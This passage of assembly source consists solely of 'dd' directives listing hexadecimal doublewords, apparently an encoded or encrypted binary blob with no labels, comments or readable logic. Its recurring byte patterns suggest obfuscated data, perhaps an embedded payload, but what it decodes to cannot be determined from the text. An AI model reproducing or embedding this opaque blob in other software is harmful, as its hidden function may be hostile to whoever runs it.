		dd 9CDB5858h, 8EDDD15Ch, 57A7A757h, 57501DEEh, 0D9944DE7h
		dd 4D5B4849h, 4849D9B4h, 6153B2DBh, 307B2D88h, 4849D207h
		dd 0A7C753B0h, 5C9CDBA7h, 84E5D508h, 0FA7A749h,	1704DA7h
		dd 9CDB4855h, 598BB150h, 4DA75858h, 485D69A8h, 0C5D09BD1h
		dd 0A7A7578Dh, 49D26530h, 0C682B048h, 9CDBA7A7h, 0E5D5085Ch
		dd 0A7A74885h, 0FC4DA70Fh, 0DB485979h, 0EE57509Ch, 0E757501Dh
		dd 49D9104Dh, 344D5B48h, 0DB4849D9h, 88615CB2h,	0E757052Dh
		dd 49D9CC5Dh, 984DD348h, 0D54849D8h, 7D5C481Ch,	585858A7h
		dd 86DDD508h, 8A7A757h,	0B0482DA7h, 5858537Eh, 30549CDBh
		dd 4849D271h, 0A7C623B0h, 5C9CDBA7h, 8DE5EE57h,	0FA7A757h
		dd 5786E5D5h, 0D50FA7A7h, 0A74885E5h, 0D5080FA7h, 0A74984E5h
		dd 4DA70FA7h, 48550170h, 574C9CDBh, 57501DEEh, 0D8EC4DE7h
		dd 4D5B4849h, 4849D97Ch, 615FB2DBh, 4EDD5788h, 57585859h
		dd 0D9FC5DE7h, 0E7574849h, 49D8A04Dh, 0DB885948h, 0A77D53B0h
		dd 8585858h, 5786DDD5h,	0A708A7A7h, 49DA9C6Dh, 52F0B048h
		dd 9CDB5858h, 0D1BA3054h, 0A5B04849h, 0DBA7A7C5h, 25D35C9Ch
		dd 482DD378h, 0AB59A3D1h, 45E7570Bh, 4849D910h,	0D96C4DD3h
		dd 4D54849h, 0A70B5B4Bh, 0A70F7C2Dh, 0EE57442Dh, 0A7578DE5h
		dd 0AFD10FA7h, 574C2573h, 0D9646DE7h, 6D5B4849h, 4849D9E0h
		dd 7151B6DBh, 58300FAFh, 0A7485D6Ah, 2DA7402Dh,	86E5D570h
		dd 0FA7A757h, 4885E5D5h, 80FA7A7h, 4984E5D5h, 0A70FA7A7h
		dd 5501704Dh, 609CDB48h, 49DA7CF9h, 401D6148h, 61103B2Dh
		dd 52D781Dh, 49D1E630h,	0C52AB048h, 9CDBA7A7h, 348305Ch
		dd 0E7574849h, 49D95C65h, 4C6DD348h, 0D54849D9h, 0F5D6F24h
		dd 0D5702DA7h, 0A75786E5h, 0E5D50FA7h, 0A7A74885h, 0E5D5080Fh
		dd 0A7A55795h, 704DA70Fh, 0DB485501h, 0DDD5449Ch, 0A7A55795h
		dd 84DDD508h, 8A7A749h,	0A8744DA7h, 9CDB4858h, 90EDA750h
		dd 0A7A7A557h, 0A7578EEDh, 5DE757A7h, 4849D994h, 0D8BC5D5Bh
		dd 0B0DB4849h, 880AF55h, 4984DDD5h, 5708A7A7h, 0DA1C5DE7h
		dd 0B0DB4849h, 5832085Fh, 16C4DA7h, 0FC304855h,	0B04849D1h
		dd 0A7A788F2h, 85C9CDBh, 58544DA7h, 0DDD14859h,	0A7A75788h
		dd 578EEDA7h, 4DA7A7A7h, 48595854h, 5794DDD1h, 0A708A7A7h
		dd 0A75788EDh, 541DD3A7h
		dd 0A740D308h, 58595CCBh, 88EDA758h, 0A7A7A757h, 49376C4Dh
		dd 94EDA748h, 0A7A7A757h, 49376C4Dh, 0E4FDD548h, 7A7A557h
		dd 9B910306h, 9BDD10Dh,	0F0E0B08h, 0D35405D3h, 80D1482Dh
		dd 0E15A98DBh, 5858585Bh, 0F2F2F3E2h, 89BAAFF2h, 0A40DD1B2h
		dd 0BF998FD1h, 4C0DD35Ah, 2E8F6112h, 0B198695Fh, 58585958h
		dd 49D10530h, 0C41AB048h, 801A7A7h, 49371830h, 1F4BB048h
		dd 6DB35858h, 502DA70Eh, 0A7929AB0h, 509CDBA7h,	49D898F9h
		dd 9B711848h, 0A85DE757h, 0DB4849D9h, 1D5B5BB0h, 501DD150h
		dd 49D9E0F9h, 8C5D5B48h, 0DB4849D9h, 6CD550B0h,	0D8E8F95Eh
		dd 0E7574849h, 49DA484Dh, 0DB885948h, 9B615FB0h, 0F4F9EE2Bh
		dd 0DB4849D9h, 9B615AB0h, 5B32202Eh, 49D9ECF9h,	5CB0DB48h
		dd 0A11DD508h, 6C4DA708h, 0B485111h, 0D5502DA7h, 0A708A11Dh
		dd 51104C4Dh, 1DD50E48h, 10B008A1h, 0DBA7A792h,	0E757789Ch
		dd 49D93C5Dh, 4DE75748h, 4849D8C4h, 0B0DB8859h,	2D9B615Eh
		dd 5DE7574Ch, 4849D8A0h, 0D97C5D5Bh, 0B0DB4849h, 5E5C9E5Dh
		dd 0D9E4F965h, 5D5B4849h, 4849D898h, 9E5DB0DBh,	57655E5Ch
		dd 0D9105DE7h, 2CD54849h, 0E7575B68h, 49DA185Dh, 50B0DB48h
		dd 484DE757h, 0DB4849DAh, 4CD05DB2h, 1898695Eh,	91030607h
		dd 0BDD10D9Bh, 5A54B4D9h, 0E0B5858h, 5A31B00Fh,	98515858h
		dd 5A61DC57h, 0DD9F5858h, 0A7A7A5A4h, 585858A7h, 0A5A4DDD5h
		dd 0D508A7A7h, 0A7A759DDh, 4DA708A7h, 48597DF8h, 49D950F9h
		dd 6C5D5B48h, 574849DAh, 0A95DDCE6h, 0D3A7A7A6h, 49D9C44Dh
		dd 5CB2DB48h, 502D8861h, 0B1189869h, 585859ABh,	49D10930h
		dd 0C286B048h, 0E757A7A7h, 49D9604Dh, 5AB2DB48h, 0CDD5080Ah
		dd 0A7A7A759h, 95A9B00Ah, 9CDBA7A7h, 579AD148h,	0D89C55E7h
		dd 74F94849h, 0D54849D9h, 0A7A959D4h, 92615858h, 9869502Ch
		dd 59F5B118h, 1F305858h, 0B04849D1h, 0A7A7C2C0h, 0DA704DD3h
		dd 0B2DB4849h, 0D5080A5Fh, 0A7A759CDh, 0F4B00AA7h, 0DBA7A795h
		dd 55D3489Ch, 4849D9ACh, 0A7AA99D9h, 555B5858h,	4849D928h
		dd 502C9061h, 0B1189869h, 58585933h, 0A5A0DD9Fh, 58A7A7A7h
		dd 0DDD55858h, 0A7A7A5A0h, 5ADDD508h, 8A7A7A6h,	0A8184DA7h
		dd 1A304858h, 0B04849D1h, 0A7A7C260h, 5ACDD508h, 0AA7A7A6h
		dd 0A8744DA7h, 0C4F94858h, 0DB4849D9h, 0D5085BB0h, 0A7A759DDh
		dd 0DDD508A7h, 0A7A7A65Ah, 9561B008h, 9CDBA7A7h, 44DD340h
		dd 0D94849D9h, 58A7A39Ah, 2C886158h, 18986950h,	5858A6B1h
		dd 404DA758h, 0D1485101h, 0D183699Eh, 5DE757AFh, 4849D8ECh
		dd 0D8C85D5Bh, 0B0DB4849h, 5CEE5751h, 4DE7575Fh, 4849D99Ch
		dd 3C55E757h, 594849D9h, 51B2DB92h, 0DC578861h,	585858E9h
		dd 90DBA1D1h, 64D818A7h, 0A12D5859h, 0A5ACDDD1h, 6030A7A7h
		dd 0B04849D1h, 0A7A7C1C4h, 0D35C9CDBh, 49D8844Dh, 744D5B48h
		dd 0DB4849D9h, 80A53B2h, 94F5B00Fh, 9CDBA7A7h, 5855D354h
		dd 0D94849DAh, 58A7A299h, 2C906158h, 5859E35Fh,	39B35858h
		dd 49D17F30h, 0C106B048h, 0E757A7A7h, 49D95C4Dh, 80A1A48h
		dd 9421B00Fh, 9CDBA7A7h, 0D39AD148h, 49D8E855h,	0AB99D948h
		dd 575858A7h, 0D9B05DE7h, 99594849h, 5D2C9261h,	0B31B8369h
		dd 5DE7577Ch, 4849DA50h, 184DE757h, 594849DAh, 50B0DB88h
		dd 0A5ACCDD3h, 0A259A7A7h, 8F599FD1h, 0A7A778B1h, 4DA70EA7h
		dd 4851111Ch, 5D2C8351h, 0B3189869h, 798695Ah, 9B910306h
		dd 38BDD10Dh, 0E0482DD3h, 48580A3Eh, 58E0DED1h,	1DD35858h
		dd 9CDED154h, 39585858h, 6905B4D1h, 0D9B9B98h, 0B4D9BDD1h
		dd 585858CCh, 0DADC65DBh, 2C584849h, 1898695Dh,	0DD9F77B3h
		dd 0A7A7A734h, 585858CCh, 0A734DDD5h, 0A708A7A7h, 4937704Dh
		dd 24E5DB48h, 5AA7A7A7h, 5D9F522Dh, 4849DADCh, 58585859h
		dd 49DADCF9h, 0F9B9148h, 49D14230h, 0C022B048h,	801A7A7h
		dd 7DC04DA7h, 38FB4859h, 0F94849DAh, 4849D930h,	615AB0DBh
		dd 49DA385Dh, 304F2D48h, 4849D155h, 0A7C00BB0h,	0A70801A7h
		dd 5D6A404Dh, 0DA38FB48h, 0A6304849h, 0B04849D0h, 0A7A7C064h
		dd 6DA70801h, 4849DA38h, 79F44DA7h, 78FB4859h, 748516Ah
		dd 1859E09Bh, 409AD858h, 0BDD10D58h, 59F4B4D9h,	0E0B5858h
		dd 5025D30Fh, 9F585F9Eh, 0A7A635DDh, 5858CCA7h,	35DDD558h
		dd 8A7A7A6h, 37704DA7h,	0E5DB4849h, 0A7A7A625h,	304D2D59h
		dd 4849D0A0h, 0A7CFBBB0h, 0A70F08A7h, 58A8744Dh, 549CDB48h
		dd 0A625E5DBh, 2D5AA7A7h, 0D0AA304Dh, 9DB04849h, 8A7A7CFh
		dd 704DA70Fh, 0DB485501h, 0BE30549Ch, 0B04849D0h, 0A7A7CFE8h
		dd 0A621EDA7h, 0EDA7A7A7h, 0A7A7A62Dh, 0A629EDA7h, 0D508A7A7h
		dd 0A7A759C5h, 4DA70BA7h, 48550170h, 0A759DDD5h, 0F08A7A7h
		dd 0A8744DA7h, 87304858h, 0B04849D0h, 0A7A7CF20h, 0D95045D3h
		dd 0B3DB4849h, 0E7570B50h, 49D8A445h, 0E4455B48h, 0DB4849D8h
		dd 0D50B5AB3h, 0A7A63CC5h, 0C5D50BA7h, 0A7A7A63Ch, 38C5D50Bh
		dd 0BA7A7A6h, 5858A730h, 59C5D558h, 0BA7A7A7h, 584DA708h
		dd 30485101h, 4849D08Fh, 0A7CF73B0h, 38EDA7A7h,	8A7A7A6h
		dd 0A759C5D5h, 0A70BA7A7h, 5501704Dh, 59DDD548h, 8A7A7A7h
		dd 744DA70Fh, 304858A8h, 585858A7h, 0A759DDD5h,	0F908A7A7h
		dd 4849D928h, 184DE757h, 594849DAh, 51B0DB88h, 5C583008h
		dd 4DA75858h, 48597DF0h, 0A759DDD5h, 0F08A7A7h,	0A8744DA7h
		dd 8A304858h, 0B04849D0h, 0A7A7CE90h, 4DA70F08h, 4858A874h
		dd 0A630DD9Fh, 58A7A7A7h, 0FD305858h, 0B04849D0h, 0A7A7CEF4h
		dd 0A600DDD1h, 0C030A7A7h, 0B04849D0h, 0A7A7CEC4h, 0A604C5D5h
		dd 0D50BA7A7h, 0A7A630C5h, 0C5D50BA7h, 0A7A7A759h, 0C5D3080Bh
		dd 0A7A7A600h, 585A300Bh, 0CEB0D858h, 0DBA7A7AEh, 9ED1289Ch
		dd 0C05DE757h, 614849D9h, 0D54B2D9Eh, 0A7A759DDh, 0A70F08A7h
		dd 58A8744Dh, 509CDB48h, 0DD9F20B3h, 0A7A7A630h, 585858A7h
		dd 49D03030h, 0CE66B048h, 0DDD1A7A7h, 0A7A7A60Ch, 49D00330h
		dd 0CE76B048h, 0C5D5A7A7h, 0A7A7A604h, 30C5D50Bh, 0BA7A7A6h
		dd 0A759C5D5h, 80BA7A7h, 0A60CC5D3h, 300BA7A7h,	0D858585Ah
		dd 0A7AE70B0h, 789CDBA7h, 0E7579ED1h, 49DA485Dh, 4DE75748h
		dd 4849D9FCh, 0B0DB8859h, 2D9E6152h, 59DDD549h,	8A7A7A7h
		dd 744DA70Fh, 0DB4858A8h, 607509Ch, 0B9B9103h, 6DE7570Eh
		dd 4849D93Ch, 0D8E845D3h, 9BD94849h, 365E6FE2h,	0A0ED44D1h
		dd 0D3484902h, 49D8C86Dh, 5F9EDB48h, 5C45E757h,	594849D9h
		dd 45E75786h, 4849D89Ch, 184DE757h, 0D54849DAh,	0DF6E4BC4h
		dd 44D14616h, 490298EDh, 0E86DD348h, 0DB4849D8h, 6D5B5A9Eh
		dd 4849D8B4h, 0D90845D3h, 9BD94849h, 656D243Fh,	98ED44D1h
		dd 57484902h, 0D9646DE7h, 6D5B4849h, 4849D9ACh,	0D97845D3h
		dd 9BD94849h, 0DEC2B02Bh, 0D9BC455Bh, 44D14849h, 4902D8EDh
		dd 6DE75748h, 4849D8A0h, 0DA606D5Bh, 45D34849h,	4849D8B8h
		dd 267E9BD9h, 44D1E7A5h, 4902E8EDh, 0C455D348h,	0DB4849D9h
		dd 4AB35BB1h, 0C86DE757h, 0DB4849D9h, 6CD150B6h, 4902D8D5h
		dd 0DCF91948h, 0DB4849D9h, 5D5B5098h, 4849D980h, 842A9961h
		dd 0F055E757h, 0D34849D8h, 49D9446Dh, 699ED948h, 5B6A651Fh
		dd 49D9DC6Dh, 0D56CD148h, 484902ACh, 9C55E757h,	0D34849D9h
		dd 49D8806Dh, 0FB9ED948h, 5B080A4Dh, 49DA746Dh,	0D56CD148h
		dd 484902E0h, 0D9E855D3h
		dd 0E7574849h, 49D9406Dh, 0A99ED948h, 0D142E809h, 294D56Ch
		dd 0E7574849h, 49D99C55h, 6DE75748h, 4849D960h,	6DD3A959h
		dd 4849D9BCh, 0DD909ED9h, 6D5B7056h, 4849D8C0h,	0E0D56CD1h
		dd 57484902h, 0D97055E7h, 6DD34849h, 4849D9B4h,	94849ED9h
		dd 6CD1BBDBh, 490284D5h, 7C55D348h, 5B4849DAh, 49D93855h
		dd 106DD348h, 0D94849DAh, 3285829Eh, 0E06D5B8Fh, 0D14849D8h
		dd 2E8D56Ch, 55D34849h,	4849D8F8h, 406DE757h, 0D34849D9h
		dd 49D8FC45h, 46ECD548h, 4CA05D51h, 0B4D56CD1h,	0D3484902h
		dd 49D92055h, 386DD348h, 0D94849D9h, 7C18239Eh,	0D56CD194h
		dd 484902F0h, 0D96C55D3h, 555B4849h, 4849D9B4h,	9ED986D1h
		dd 432FB981h, 9445E757h, 594849D8h, 0D56CD186h,	48490298h
		dd 6055E757h, 0D34849D9h, 49D97C6Dh, 559EDB48h,	0D9306D5Bh
		dd 6CD14849h, 49022CD5h, 55E75748h, 4849DA1Ch, 0FC6DE757h
		dd 0D34849D9h, 49D9DC45h, 46ECD548h, 0B9AFB6C3h, 0FCD56CD1h
		dd 0D3484902h, 49DA6055h, 5E99DB48h, 0D8B0555Bh, 6DD34849h
		dd 4849D88Ch, 3C139ED9h, 6D5B8A13h, 4849D9E4h, 98D56CD1h
		dd 6484902h, 59E09B03h,	9AD85818h, 0D10D5850h, 0B0809BDh
		dd 2DD30F0Eh, 5405D350h, 0D1585B9Eh, 0A790DBA9h, 5964D818h
		dd 0D1A12D58h, 0E757A41Dh, 49D9405Dh, 5B9FD148h, 49D90465h
		dd 54B7DB48h, 0EE5728B3h, 9F61481Dh, 5CD2532Ah,	2C776466h
		dd 2D76645Ch, 0D00D3047h, 49B04849h, 57A7A7CBh,	0A664CEEh
		dd 0A10DD508h, 704DA70Ah, 0DB485501h, 77B3489Ch, 49D00830h
		dd 0CAAAB048h, 0B08A7A7h, 0A8744DA7h, 10304858h, 0B04849D0h
		dd 0A7A7CAB8h, 664CEE57h, 0DD5080Ah, 4DA70AA1h,	48550170h
		dd 0D5449CDBh, 0B08A11Dh, 0A8744DA7h, 9CDB4858h, 25631F50h
		dd 7D32AA4h, 9B910306h,	0D9BDD10Dh, 585A34B4h, 0DDD50F58h
		dd 0A7A7A6A4h, 5DE75708h, 4849D8A4h, 85AB0DBh, 49D904F9h
		dd 5CB0DB48h, 0F9443208h, 4849DA7Ch, 0DA145D5Bh, 0B0DB4849h
		dd 4DA70852h, 485D7258h, 0A5C1DDD5h, 0B008A7A7h, 0A7A7EC73h
		dd 3C425DD5h, 44FB4858h, 0D5485501h, 581D6D5Dh,	22CFB48h
		dd 5DD54849h, 48583C42h, 5D69B8FBh, 685DD548h, 0FB485813h
		dd 485D69A8h, 49D06D30h, 0CA6EB048h, 0E757A7A7h, 49D96465h
		dd 5C655B48h, 0DB4849DAh, 0D50F5DB7h, 0A7A6A4E5h, 30080FA7h
		dd 485978F8h, 1704DA7h,	7E304855h, 0B04849D0h, 0A7A7CA50h
		dd 0D91865D3h, 655B4849h, 4849D8FCh, 0F5AB7DBh,	0A5C1E5D5h
		dd 0D50FA7A7h, 0A7A6A4E5h, 30080FA7h, 48516A68h, 1704DA7h
		dd 5DD54855h, 485978F8h, 511078FBh, 685DD548h, 0FB485110h
		dd 4859578Ch, 15D25DD5h, 0BCFB4858h, 0B0485D71h, 0A7A7A3BBh
		dd 49D920F9h, 30081848h, 485D6A58h, 0A7ECF1B0h,	0D04A30A7h
		dd 0C5B04849h, 0D3A7A7C9h, 49D9AC65h, 5BB7DB48h, 0A4E5D50Fh
		dd 0FA7A7A6h, 10683008h, 4DA74851h, 48550170h, 5957B830h
		dd 0A10FB048h, 0A730A7A7h, 0B04849DFh, 0A7A7C934h, 0D91465D3h
		dd 9FDB4849h, 0E5D50F5Ch, 0A7A7A6A4h, 1830080Fh, 0A748516Ch
		dd 5501704Dh, 425DD548h, 0FB48583Ch, 4859584Ch,	6C185DD5h
		dd 44FB4851h, 0D54858A8h, 4901285Dh, 0DA9CFB48h, 9E304849h
		dd 0B0485805h, 0A7A7E984h, 588FAA30h, 0E98AB048h, 6330A7A7h
		dd 0B04858E1h, 0A7A7E990h, 0C45DE757h, 5B4849D8h, 49D9AC5Dh
		dd 5DB0DB48h, 597D88FBh, 0DA10F948h, 5D5B4849h,	4849D998h
		dd 85CB0DBh, 0A5A5DDD5h, 0B008A7A7h, 58585C4Fh,	0F9209CDBh
		dd 4849D934h, 0D8C05D5Bh, 0E4D84849h, 0A7A5B75Dh, 142D3CA7h
		dd 0A6DDE657h, 0D3A7A7A5h, 49D9304Dh, 4E9ADB48h, 9C55E757h
		dd 594849D9h, 0D0887192h, 0A7A5C0DDh, 5DE757A7h, 4849DA40h
		dd 597D88FBh, 0DDEE5748h, 0A7A7A5C0h, 0D8FCF908h, 5D5B4849h
		dd 4849D990h, 857B0DBh,	0A7EE40B0h, 509CDBA7h, 5C5DE757h
		dd 5B4849D9h, 49D9145Dh, 5DE4D848h, 0A7A7A5A3h,	0F91D2D3Fh
		dd 4849D914h, 0B2DB9AD1h, 5DCCD05Ah, 0A7A7A65Dh, 0A5A6DDD5h
		dd 0A708A7A7h, 5958444Dh, 0CCDDD148h, 8A7A7A5h,	49012830h
		dd 7B94B048h, 9CDB5858h, 0D8B8F954h, 5D5B4849h,	4849D8C0h
		dd 0FB57B0DBh, 48597D88h, 0D9B9107h, 0B4DBBDD1h, 0F0E0B10h
		dd 0D55005D3h, 4902D85Dh, 0E01DD148h, 1C5DE757h, 0D14849DAh
		dd 0E0655B9Fh, 0DB4849D8h, 56B353B7h, 0BA89A2D1h, 2354D33Eh
		dd 4D14D13Eh, 0E7571F98h, 49D9605Dh, 4598DB48h,	0BC2A9F61h
		dd 49D9E4F9h, 5EB0DB48h, 0A7E41DD1h, 1DD3E41Dh,	58EF57E0h
		dd 2BE41D61h, 1DD50B57h, 0DCB00898h, 0DBA7A7CDh, 0BBB3509Ch
		dd 0D8E06DD3h, 0B6DB4849h, 0D149B35Ch, 0D3BA89AAh, 0D33E5415h
		dd 3E984D0Ch, 1E294CD1h, 49D978F9h, 4098DB48h, 0BB2A9E61h
		dd 91030607h, 0BDD10D9Bh, 0B14B4DBh, 0E7570F0Eh, 49DA405Dh
		dd 8C5D5B48h, 0DB4849D9h, 1DD150B0h, 0E07AB3A4h, 58585868h
		dd 0D1A43DAFh, 0E757B81Dh, 49DA1C5Dh, 5FB0DB48h, 0D1B80DD3h
		dd 6D084D5Ch, 1DA74851h, 0D8E8F9A4h, 98DB4849h,	0A41D6107h
		dd 0E757892Ah, 49D8885Dh, 5EB0DB48h, 0DC4DA708h, 30485978h
		dd 4849DAB0h, 49C2D030h, 0F95F3248h, 4849D9E8h,	85FB0DBh
		dd 49C19030h, 8C4DA748h, 0D148597Dh, 0DA78F99Bh, 0B0DB4849h
		dd 579B615Ah, 5859F1DDh, 0AC1DD558h, 0DAB0F908h, 0D3084849h
		dd 440FA760h, 5CF99BD1h, 0DB4849DAh, 9B615AB0h,	78F9552Dh
		dd 0DB4849DAh, 1D615AB0h, 0B15D2DACh, 58585959h, 9C5DE757h
		dd 5B4849D8h, 49D8B05Dh, 5FB0DB48h, 0B1A01DD1h,	58585885h
		dd 0D1A01DD3h, 9F3E881Dh, 585B901Dh, 89C1DD5h, 0DB902DD5h
		dd 0BFD148B4h, 58585CE1h, 0D3FDAB58h, 49DAB065h, 67D30F48h
		dd 0D1780FA7h, 0D8A8F99Bh, 5D5B4849h, 4849D934h, 6150B0DBh
		dd 0CFDD579Bh, 0D5585858h, 3008981Dh, 4849C2F0h, 89C1DD3h
		dd 4CA760D3h, 58585865h, 0F99BD158h, 4849DA74h,	0D8805D5Bh
		dd 0B0DB4849h, 2D9B6155h, 0BC5DD53Ch, 0D14849DAh, 0D308841Dh
		dd 5C0EA768h, 8E41DD5h,	49C1B030h, 841DD348h, 0A760D308h
		dd 5858654Ch, 9BD15858h, 0D8E44563h, 7B2D4849h,	8E01DD5h
		dd 49C1B030h, 0E42DA748h, 0B0982DA7h, 0A7A7E215h, 0D1489CDBh
		dd 1DD3EC1Dh, 68D308E4h, 0D3500EA7h, 0D308841Dh, 500EA768h
		dd 8981DD3h, 0EA768D3h,	9C1DD350h, 0A768D308h, 1DA7500Eh
		dd 0AC1DD3A0h, 57A01D61h, 0A7A74FDAh, 505DD5A7h, 0D14849DBh
		dd 0D308A81Dh, 5C0EA768h, 8B41DD5h, 49C18030h, 0A81DD348h
		dd 0A768D308h, 58586D4Ch, 1DD35858h, 68D308A8h,	0D5500EA7h
		dd 3008BC1Dh, 4849C180h, 0A7B42DA7h, 49DAB06Dh,	0E197B048h
		dd 9CDBA7A7h, 0B01DD148h, 49D9A0F9h, 4DE75748h,	4849D9C0h
		dd 0B0DB8859h, 0B01D615Ch, 0B0F9402Dh, 84849DAh, 0EA768D3h
		dd 0D914F950h, 0B0DB4849h, 0DAB0FB5Ah, 6074849h, 0D9B9103h
		dd 0B4D9BDD1h, 5858595Ch, 0A4DDD50Fh, 8A7A7A6h,	0A45DE757h
		dd 0DB4849D8h, 0F9085AB0h, 4849DA7Ch, 0CC4DE757h, 594849D8h
		dd 5BB0DB88h, 502DA708h, 49D978F9h, 50B0DB48h, 584DA708h
		dd 0D1485D72h, 2DA7519Fh, 0DFA23073h, 0ADB04849h, 8A7A7D4h
		dd 0A6A4E5D5h, 0A70FA7A7h, 58A8744Dh, 32593248h, 0A4DDD51Bh
		dd 8A7A7A6h, 0A79102B0h, 409CDBA7h, 0E09B9107h,	0D8581859h
		dd 0D58409Ah, 0B09BDD1h, 2DD30F0Eh, 32583250h, 325B3258h
		dd 30583258h, 0D8585858h
		dd 516A6830h, 404DA748h, 0D1484933h, 0A7A7DB9Fh, 80F9472Dh
		dd 0DB4849D8h, 4DD35EB0h, 4849D8F8h, 0D9E44D5Bh, 0B2DB4849h
		dd 5E4CD051h, 5858D1B1h, 57583258h, 0D9945DE7h,	0B0DB4849h
		dd 2DA70851h, 4DA70F54h, 48493768h, 49D9DCF9h, 4DE75748h
		dd 4849D8ECh, 0B0DB8859h, 1DD50851h, 0E75708A4h, 49D9105Dh
		dd 4DE75748h, 4849D91Ch, 57481CD5h, 0A70F0E08h,	58A86C4Dh
		dd 0F9BD148h, 11104DA7h, 0E7574851h, 49D9705Dh,	4DE75748h
		dd 4849D940h, 0B0DB8859h, 2D9B6155h, 0D8F4F979h, 5D5B4849h
		dd 4849D9BCh, 5753B0DBh, 0D89C4DE7h, 4D5B4849h,	4849D8E8h
		dd 0D053B2DBh, 6075E4Ch, 0D9B9103h, 0D0E0BDD1h,	0B0585958h
		dd 58586EF9h, 300F0E0Bh, 4849DFB4h, 0A7E7FDB0h,	0A70801A7h
		dd 5958544Dh, 901DD148h, 981D9F3Eh, 1DD55850h, 2DD5088Ch
		dd 48B4DB98h, 5CE1BFD1h, 0AB585858h, 5425D3FDh,	0A767D30Fh
		dd 9BD1680Fh, 49D9D0F9h, 5DB0DB48h, 5F2C9B61h, 52B19869h
		dd 0D558585Fh, 3008841Dh, 4849C260h, 88C1DD3h, 4CA760D3h
		dd 58585865h, 0F99BD158h, 4849D8B4h, 579B6110h,	585E81DDh
		dd 801DD558h, 841DD308h, 0A760D308h, 9BD17C0Fh,	49D8B8F9h
		dd 5EB0DB48h, 0DD579B61h, 58585EE9h, 49D900F9h,	5BB0DB48h
		dd 0B1BC1DD1h, 58585ECDh, 0D1BC1DD3h, 9F3EA81Dh, 585AB01Dh
		dd 8A41DD5h, 0DBB02DD5h, 0BFD148B4h, 58585CE1h,	0D5FDAB58h
		dd 0B4DBB02Dh, 0E1BFD148h, 5858585Ch, 25D3FDABh, 67D30F84h
		dd 0D1740FA7h, 0D900F99Bh, 0B0DB4849h, 579B615Bh, 585E11DDh
		dd 0DA5CF958h, 0E7574849h, 49D8944Dh, 0DB885948h, 0DDD15BB0h
		dd 0A7A6A7E4h, 0A7E4DDD5h, 3008A7A6h, 4849C210h, 8A41DD3h
		dd 4CA760D3h, 58585865h, 579BD158h, 0D9645DE7h,	0B0DB4849h
		dd 579B6151h, 585D89DDh, 0E4E5DB58h, 58A7A6A7h,	5D9CDC57h
		dd 1DD55858h, 0DDD308B8h, 0A7A6A7E4h, 0A760D308h, 5858A0CFh
		dd 519BD158h, 0FFDD5783h, 0D558585Dh, 0A6A799DDh, 2DA708A7h
		dd 0C3D9B0B8h, 74F9A7A7h, 0DB4849D9h, 30085FB0h, 485D6A58h
		dd 0A799DDD5h, 0B008A7A6h, 0A7A7E5D3h, 0D34C9CDBh, 49DA5465h
		dd 0A39FD948h, 5B5858A7h, 49DA6065h, 57A06148h,	585D39DCh
		dd 5DE75758h, 4849D9B0h, 615EB0DBh, 452D481Dh, 0A7E4DDD3h
		dd 0D308A7A6h, 500EA768h, 8A41DD3h, 0EA768D3h, 18986950h
		dd 585DD4B1h, 5DE75758h, 4849D9CCh, 0D9905D5Bh,	0B0DB4849h
		dd 0DCDDD151h, 0D5A7A6A7h, 0A6A7DCDDh, 303008A7h, 0D34849C2h
		dd 0D308A41Dh, 654CA760h, 58585858h, 0E7579BD1h, 49D8A05Dh
		dd 5DB0DB48h, 0DD579B61h, 58585CAAh, 0A7F3DD9Eh, 301CA7A6h
		dd 4849DFBAh, 0A7D19BB0h, 65E757A7h, 4849DA40h,	706DE757h
		dd 594849D9h, 5CB7DBAFh, 0E5D5080Fh, 0A7A6A799h, 0E495B00Fh
		dd 9CDBA7A7h, 6DE75748h, 4849D9C8h, 0A7AF9ED9h,	0A8615858h
		dd 0DD9E5F2Ch, 0A7A6A7F3h, 0DF823008h, 25B04849h, 57A7A7D1h
		dd 0DA5065E7h, 80F4849h, 0A799E5D5h, 0B00FA7A6h, 0A7A7E4CBh
		dd 0D3489CDBh, 49D8986Dh, 0A59ED948h, 615858A7h, 9E5F2CA8h
		dd 0A6A7F3DDh, 8A301BA7h, 0B04849DFh, 0A7A7D11Ch, 0D8B465D3h
		dd 655B4849h, 4849D944h, 0F5AB7DBh, 99E5D508h, 0FA7A6A7h
		dd 0A7E40AB0h, 489CDBA7h, 0D9E86DD3h, 0B6DB4849h, 599FD15Bh
		dd 0C4E5D1AFh, 0D1A7A6A7h, 0A6A7E8E5h, 0E8DDD3A7h, 0D8A7A6A7h
		dd 0A7995DE4h, 2C7EA7A6h, 0E8DDA750h, 0B3A7A6A7h, 0E8DDD3B0h
		dd 0D3A7A6A7h, 49D8FC4Dh, 5FB2DB48h, 995DCCD0h,	0D3A7A6A7h
		dd 0A6A7C4DDh, 5DDCD5A7h, 0A7A6A799h, 444DA708h, 0D1485958h
		dd 0A6A7D8DDh, 0DF9330A7h, 0E1B04849h, 57A7A7D0h, 0DA1C65E7h
		dd 655B4849h, 4849D9D8h, 0F5EB7DBh, 99E5D508h, 0FA7A6A7h
		dd 0A7E39EB0h, 4C9CDBA7h, 0D9286DD3h, 6D5B4849h, 4849D9D8h
		dd 599FD116h, 0C4E5D1AFh, 0D1A7A6A7h, 0A6A7E8E5h, 0E8DDD3A7h
		dd 0D8A7A6A7h, 0A7995DE4h, 2C7EA7A6h, 0E8DDA750h, 0B3A7A6A7h
		dd 0E8DDD3B0h, 0D3A7A6A7h, 49D92C4Dh, 5FB2DB48h, 995DCCD0h
		dd 0D3A7A6A7h, 0A6A7C4DDh, 5DDCD5A7h, 0A7A6A799h, 444DA708h
		dd 1485958h, 0A7FCDDD1h, 6CF9A7A6h, 5B4849DAh, 49DA545Dh
		dd 54B0DB48h, 0A7D8DD61h, 222FA7A6h, 49D8E4F9h,	0E0DDD148h
		dd 0B3A7A6A7h, 0E0E5D309h, 0D1A7A6A7h, 5ABE99A6h, 704DE757h
		dd 0DB4849D9h, 4C615DB2h, 5948B86Dh, 0D3752C48h, 0A6A7FCCDh
		dd 6D4C61A7h, 48595878h, 4CD2462Dh, 5979E865h, 0F3CD6248h
		dd 2DA7A6A7h, 6DE75757h, 4849DA50h, 0E56CD116h,	485948B8h
		dd 0A7E0DDA7h, 0E757A7A6h, 49D8F05Dh, 0A44DD348h, 0D54849D9h
		dd 5BB048DCh, 0DD615858h, 0A7A6A7E0h, 4DA7CB2Ah, 48490228h
		dd 0A7F8DDD1h, 0B4F9A7A6h, 574849D9h, 0D99C4DE7h, 88594849h
		dd 0D153B0DBh, 0A6A7ECDDh, 0D332B3A7h, 0A6A7ECE5h, 5ABF99A7h
		dd 3C6DE757h, 164849D9h, 0B8656C61h, 2C485948h,	6564D312h
